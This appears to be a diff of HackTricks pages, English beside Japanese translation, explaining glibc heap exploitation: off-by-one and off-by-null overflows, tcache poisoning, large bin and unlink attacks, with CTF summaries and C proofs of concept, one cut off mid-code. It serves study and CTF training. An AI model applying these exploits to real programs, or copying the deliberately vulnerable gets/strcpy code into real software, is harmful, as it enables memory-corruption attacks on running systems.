This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. この攻撃の別の素晴らしい説明は、[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)で見つけることができます。
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). ### その他の例
### Other examples
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)に表示されるのと同じ状況での大きなビン攻撃。
- The write primitive is more complex, because `global_max_fast` is useless here. - 書き込みプリミティブはより複雑で、ここでは`global_max_fast`は無意味です。
- FSOP is needed to finish the exploit. - エクスプロイトを完了するにはFSOPが必要です。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,114 +2,112 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. 1Bのオーバーフローにアクセスすることで、攻撃者は次のチャンクの`size`フィールドを変更できます。これにより、実際に解放されるチャンクを改ざんでき、別の正当なチャンクを含むチャンクを生成する可能性があります。このエクスプロイトは[ダブルフリー](double-free.md)やオーバーラップチャンクに似ています。
There are 2 types of off by one vulnerabilities: オフバイワンの脆弱性には2種類あります
- Arbitrary byte: This kind allows to overwrite that byte with any value - 任意のバイト:このタイプは、そのバイトを任意の値で上書きすることを可能にします
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - ヌルバイトオフバイヌルこのタイプは、そのバイトを0x00でのみ上書きすることを可能にします
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - この脆弱性の一般的な例は、`strlen``strcpy`の動作が不一致である以下のコードに見られ、次のチャンクの先頭に0x00バイトを設定できることです。
- This can be expoited with the [House of Einherjar](house-of-einherjar.md). - これは[エインヘリヤルの家](house-of-einherjar.md)を使ってエクスプロイトできます。
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation. - Tcacheを使用している場合、これは[ダブルフリー](double-free.md)の状況に利用できます。
<details> <details>
<summary>Off-by-null</summary> <summary>オフバイヌル</summary>
```c ```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void) int main(void)
{ {
char buffer[40]=""; char buffer[40]="";
void *chunk1; void *chunk1;
chunk1 = malloc(24); chunk1 = malloc(24);
puts("Get Input"); puts("Get Input");
gets(buffer); gets(buffer);
if(strlen(buffer)==24) if(strlen(buffer)==24)
{ {
strcpy(chunk1,buffer); strcpy(chunk1,buffer);
} }
return 0; return 0;
} }
``` ```
</details> </details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. 他のチェックの中で、現在、チャンクが解放されるたびに、前のサイズがメタデータのチャンクに設定されたサイズと比較されるため、この攻撃はバージョン2.28からかなり複雑になっています。
### Code example: ### コード例:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches. - この攻撃はTcachesの使用によりもはや機能しません。
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` - さらに、より大きなチャンクを使用して悪用しようとするとtcachesが関与しないように、次のエラーが発生します: `malloc(): invalid next size (unsorted)`
### Goal ### 目標
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one - チャンクが別のチャンクの中に含まれるようにし、その2番目のチャンクへの書き込みアクセスが含まれているチャンクを上書きできるようにする
### Requirements ### 要件
- Off by one overflow to modify the size metadata information - サイズメタデータ情報を変更するためのオフバイワンオーバーフロー
### General off-by-one attack ### 一般的なオフバイワン攻撃
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. - チャンク `A``B``C`サイズ0x20と仮定を3つ割り当て、トップチャンクとの統合を防ぐためにもう1つを割り当てます。
- Free `C` (inserted into 0x20 Tcache free-list). - `C`を解放します0x20 Tcacheフリーリストに挿入されます
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. - チャンク `A`を使用して`B`にオーバーフローします。オフバイワンを悪用して、`B``size`フィールドを0x21から0x41に変更します。
- Now we have `B` containing the free chunk `C` - これで、`B`が解放されたチャンク`C`を含むようになります。
- Free `B` and allocate a 0x40 chunk (it will be placed here again) - `B`を解放し、0x40チャンクを割り当てます再びここに配置されます
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) - まだ解放されている`C``fd`ポインタを変更できますTcacheポイズニング
### Off-by-null attack ### オフバイヌル攻撃
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is). - メモリの3つのチャンクa、b、cが順番に予約されます。次に、中間のチャンクが解放されます。最初のチャンクにはオフバイワンオーバーフローの脆弱性があり、攻撃者は0x00を使用して悪用します前のバイトが0x10だった場合、中間のチャンクは実際よりも0x10小さいことを示します
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. - 次に、中間の解放されたチャンクbに2つの小さなチャンクが割り当てられますが、`b + b->size`は、指されているアドレスが必要なサイズよりも小さいため、チャンクcを更新しません。
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. - 次に、b1とcが解放されます。`c - c->prev_size`はまだb現在はb1を指しているため、両方が1つのチャンクに統合されます。しかし、b2はまだb1とcの間にあります。
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. - 最後に、新しいmallocが実行され、このメモリ領域を再利用します。実際にはb2を含むことになり、新しいmallocの所有者がb2の内容を制御できるようになります。
This image explains perfectly the attack: この画像は攻撃を完璧に説明しています:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure> <figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References ## その他の例と参考文献
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field. - `strlen`が次のチャンクの`size`フィールドを考慮するため、オフバイワン。
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. - Tcacheが使用されているため、一般的なオフバイワン攻撃がTcacheポイズニングを使用して任意の書き込みプリミティブを取得するのに機能します。
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - オフバイワンを悪用してヒープからアドレスを漏洩させることが可能です。これは、文字列の終わりのバイト0x00が次のフィールドによって上書きされるためです。
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - 任意の書き込みは、オフバイワンの書き込みを悪用してポインタを別の場所に指すようにし、そこに偽の構造体と偽のポインタを構築します。次に、この構造体のポインタをたどって任意の書き込みを取得できます。
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - libcアドレスが漏洩するのは、ヒープがmmapを使用して拡張されると、mmapによって割り当てられたメモリがlibcから固定オフセットを持つためです。
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. - 最後に、任意の書き込みが悪用され、__free_hookのアドレスにone gadgetが書き込まれます。
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - ユーザー入力行を読み取る`getline`関数にNULLオフバイワンの脆弱性があります。この関数は、コンテンツの「キー」を読み取るために使用され、コンテンツ自体ではありません。
- In the writeup 5 initial chunks are created: - 書き込みには最初に5つのチャンクが作成されます
- chunk1 (0x200) - chunk1 (0x200)
- chunk2 (0x50) - chunk2 (0x50)
- chunk5 (0x68) - chunk5 (0x68)
- chunk3 (0x1f8) - chunk3 (0x1f8)
- chunk4 (0xf0) - chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk - チャンク防御 (0x400) はトップチャンクとの統合を避けるためのものです。
- Then chunk 1, 5 and 3 are freed, so: - 次に、チャンク1、5、3が解放されるので
- ```python - ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
``` ```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - 次に、チャンク3 (0x1f8)を悪用して、nullオフバイワンがprev_sizeを`0x4e0`に書き込みます。
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - 最初に割り当てられたチャンク1、2、5、3のサイズとそれらのチャンクのヘッダーの合計が`0x4e0`に等しいことに注意してください:`hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - 次に、チャンク4が解放され、すべてのチャンクを消費するチャンクが生成されます
- ```python - ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
``` ```
- ```python - ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
``` ```
- Then, `0x200` bytes are allocated filling the original chunk 1 - 次に、`0x200`バイトが割り当てられ、元のチャンク1が埋められます。
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - そして、別の0x200バイトが割り当てられ、チャンク2が破壊され、したがって漏洩は発生せず、これは機能しませんかおそらく、これは行うべきではありません。
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - 次に、0x58の"a"で別のチャンクが割り当てられチャンク2を上書きし、チャンク5に到達、チャンク5のファストビンチャンクの`fd``__malloc_hook`を指すように変更します。
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - 次に、0x68のチャンクが割り当てられ、`__malloc_hook`の偽のファストビンチャンクが次のファストビンチャンクになります。
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address - 最後に、0x68の新しいファストビンチャンクが割り当てられ、`__malloc_hook``one_gadget`アドレスで上書きされます。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk # 解放されたチャンクの上書き
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: 提案されたヒープ悪用技術のいくつかは、解放されたチャンク内のポインタを上書きする必要があります。このページの目的は、このアクセスを許可する可能性のある脆弱性を要約することです:
### Simple Use After Free ### 簡単な使用後の解放
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. 攻撃者が**解放されたチャンクに情報を書き込む**ことができる場合、必要なポインタを上書きするためにこれを悪用することができます。
### Double Free ### ダブルフリー
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) 攻撃者が**同じチャンクを2回`free`**することができ(その間に他のチャンクを解放する可能性があります)、それが**同じビンに2回存在する**ようにすると、ユーザーは**後でチャンクを割り当て**、**必要なポインタを書き込み**、その後**再度割り当て**することで、チャンクが割り当てられるアクションを引き起こすことが可能になりますファストビン攻撃、tcache攻撃...)。
### Heap Overflow ### ヒープオーバーフロー
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. **解放されたチャンクの次に割り当てられたチャンクをオーバーフロー**させ、そのヘッダー/ポインタの一部を変更することが可能かもしれません。
### Off-by-one overflow ### オフバイワンオーバーフロー
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). この場合、メモリ内の次のチャンクの**サイズを変更**することが可能です。攻撃者はこれを悪用して、**割り当てられたチャンクのサイズを大きくし**、その後**`free`**し、チャンクが**異なるサイズのビンに追加される**ようにし(大きい)、次に**偽のサイズを割り当て**ることで、攻撃は**実際のサイズよりも大きいサイズのチャンクにアクセス**できるようになり、**したがってオーバーラップしたチャンクの状況を許可**し、これは**ヒープオーバーフロー**と同じ方法で悪用可能です(前のセクションを確認してください)。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,46 +2,46 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
For more information about what is a Tcache bin check this page: Tcache bin についての詳細はこのページを参照してください:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26. まず最初に、TcacheはGlibcバージョン2.26で導入されたことに注意してください。
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. **Tcache攻撃****Tcache poisoning**とも呼ばれる)は、[**guyinatuxidoページ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html)で提案されており、目的は解放されたチャンク内のビンの次のチャンクへのポインタを任意のアドレスに上書きすることで、後でその特定のアドレスを**割り当ててポインタを上書きする**ことが可能になります。
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). しかし、現在、前述のコードを実行すると、エラーが発生します:**`malloc(): unaligned tcache chunk detected`**。したがって、新しいポインタに書き込むアドレスはアラインされたアドレスである必要があります(または、書き込まれたアドレスが実際にアラインされるまでバイナリを十分に実行する必要があります)。
### Tcache indexes attack ### Tcacheインデックス攻撃
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. 通常、ヒープの最初に**インデックスごとのチャンクの数**を含むチャンクと、各Tcacheインデックスの**ヘッドチャンクのアドレス**が見つかります。何らかの理由でこの情報を変更できる場合、**特定のインデックスのヘッドチャンクを希望のアドレス**(例えば`__malloc_hook`)にポイントさせることが可能になり、その後インデックスのサイズのチャンクを割り当てて、`__malloc_hook`の内容を上書きすることができます。
## Examples ##
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - **Libc情報漏洩**Tcacheを埋め、未ソートリストにチャンクを追加し、Tcacheを空にし、**未ソートビンからチャンクを再割り当てする**ことが可能です。最初の8Bを上書きするだけで、**チャンクからのlibcの2番目のアドレスをそのままにしておくことができます**。
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - **Tcache攻撃**バイナリは1Bのヒープオーバーフローに脆弱です。これを利用して、割り当てられたチャンクの**サイズヘッダー**を変更して大きくします。その後、このチャンクは**解放され**、偽のサイズのチャンクのTcacheに追加されます。次に、偽のサイズのチャンクを割り当てると、前のチャンクが**返され、実際にはこのチャンクが小さいことがわかります**。これにより、**メモリ内の次のチャンクを上書きする**機会が得られます。\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. これを利用して、**次のチャンクのFDポインタを**`malloc_hook`にポイントさせ、最初に修正した正当なポインタを割り当て、その後の割り当てで**`malloc_hook`**にチャンクを返すことが可能になります。これを利用して**one gadget**を書き込むことができます。
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - **Libc情報漏洩**使用後の解放と二重解放があります。この書き込みでは、著者が小さなビンに配置されたチャンクのアドレスを読み取ることでlibcのアドレスを漏洩させました未ソートビンから漏洩するのと同様ですが、小さなビンからです
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. - **Tcache攻撃**Tcacheは**二重解放**を介して実行されます。同じチャンクが2回解放されるため、Tcache内でチャンクは自分自身を指します。その後、割り当てられ、FDポインタが**free hook**を指すように変更され、再度割り当てられると、リスト内の次のチャンクがfree hookに入ります。次に、これも割り当てられ、ここに`system`のアドレスを書き込むことが可能になるため、`"/bin/sh"`を含むmallocが解放されるとシェルが得られます。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset - ここでの主な脆弱性は、オフセットを指定することでヒープ内の任意のアドレスを`free`できる能力です。
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - **Tcacheインデックス攻撃**TcacheチャンクTcacheビンの情報を持つチャンク内に格納されるサイズのチャンクを割り当てて解放することで、**値0x100のアドレスを生成する**ことが可能です。これは、Tcacheが各ビンのチャンク数を異なるバイトに格納するため、特定のインデックスのチャンクが値0x100を生成するからです。
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - その後、この値はサイズ0x100のチャンクがあるように見えます。これにより、このアドレスを`free`することで悪用できます。これにより、**Tcache内のサイズ0x100のチャンクのインデックスにそのアドレスが追加されます**。
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - 次に、**サイズ0x100のチャンクを割り当てると、前のアドレスがチャンクとして返され、他のTcacheインデックスを上書きすることが可能になります**。\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. 例えば、malloc hookのアドレスをそのうちの1つに入れ、そのインデックスのサイズのチャンクを割り当てることで、calloc hookにチャンクを得ることができ、one gadgetを書き込んでシェルを得ることができます。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction - 前回と同じ脆弱性ですが、1つの追加制限があります。
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. - **Tcacheインデックス攻撃**:前回と似た攻撃ですが、**Tcache情報を含むチャンクを解放する**ことでステップを減らします。これにより、そのアドレスがそのサイズのTcacheインデックスに追加され、そのサイズを割り当ててTcacheチャンク情報をチャンクとして取得できるようになります。これにより、free hookをインデックスのアドレスとして追加し、割り当てて、one gadgetを書き込むことが可能になります。
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer. - **Write After Free**で`fd`ポインタに数値を追加します。
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - このチャレンジでは多くの**ヒープフェンシュイ**が必要です。書き込みでは、**Tcache**のフリーリストのヘッドを制御することが非常に便利であることが示されています。
- **Glibc leak** through `stdout` (FSOP). - **Glibc漏洩**を`stdout`を介してFSOP
- **Tcache poisoning** to get an arbitrary write primitive. - **Tcache poisoning**を使用して任意の書き込みプリミティブを取得します。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. この攻撃が発見されたとき、主にWWWWrite What Whereを可能にしましたが、いくつかの**チェックが追加され**、攻撃の新しいバージョンはより興味深く、より複雑で、**無意味**になりました。
### Code Example: ### コード例:
<details> <details>
<summary>Code</summary> <summary>コード</summary>
```c ```c
#include <unistd.h> #include <unistd.h>
#include <stdlib.h> #include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { struct chunk_structure {
size_t prev_size; size_t prev_size;
size_t size; size_t size;
struct chunk_structure *fd; struct chunk_structure *fd;
struct chunk_structure *bk; struct chunk_structure *bk;
char buf[10]; // padding char buf[10]; // padding
}; };
int main() { int main() {
unsigned long long *chunk1, *chunk2; unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr; struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20]; char data[20];
// First grab two chunks (non fast) // First grab two chunks (non fast)
chunk1 = malloc(0x8000); chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000); chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1); printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check // Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1; fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000; fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks // Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3 // This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself. // i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data // We then make chunk1 point to some victim's data
free(chunk2); free(chunk2);
printf("Chunk1: %p\n", chunk1); printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data; chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data"); strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 // Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; chunk1[0] = 0x002164656b636168LL;
